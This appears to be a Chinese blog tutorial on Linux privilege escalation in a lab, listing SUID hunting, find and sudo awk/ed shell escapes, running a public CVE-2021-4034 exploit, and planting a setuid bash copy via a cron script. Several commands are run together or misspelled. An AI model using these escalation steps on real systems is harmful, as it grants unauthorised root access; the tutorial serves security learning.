当前位置：首页>Linux>内网安全之Linux提权

内网安全之Linux提权

时隔多天，熊哥也王者归来了，那么今天给大家带来的是“权限提升”！

Linux权限提升

实验步骤

Linux服务器漏洞检测

通过ssh连接主机环境

通过linux-exploit-suggester查询可能存在的提权漏洞：linux-exploit-suggester下载地址：https://github.com/The-Z-Labs/linux-exploit-suggester

运行检测脚本：

chomd +x linux-exploit-suggester.shlinux-exploit-suggester.sh

SUID提权

寻找具备SUID权限的程序

find / -perm -u=s -type f 2>/dev/null

目前已经可以用来提权的文件如下：

nmapvimfindbashmorelessnanocp

find提权

touch 1find 1 -exec whoami \;

bash提权

CVE-2021-4034内核漏洞提权

在漏洞查询的过程中，发现漏洞CVE-2021-4034可以利用下载地址：https://github.com/berdav/CVE-2021-4034/

下载exp解压

chmod +x cve-2021-4034.sh ./cve-2021-4034.sh

SUDO提权

sudo 是可以让某个用户不需要拥有管理员的账号密码，可以执行管理员的权限。作为管理员可以指派某些用户可以执行某些特定命令。授权之后，能够让某用户以另外一个用户的身份运行命令。

awk命令提权

sudo awk 'BEGIN {system("/bin/bash")}'

ed命令提权

sudo ed!/bin/bash

计划任务提权

查看计划任务

cat /etc/crontab

发现有test.sh执行

修改脚本内容添加命令

cp /bin/bash /tmp/bash; chmod +s /tmp/bash

切换到tmp目录下

那么今天的知识分享就到此介绍了，咱们下期见！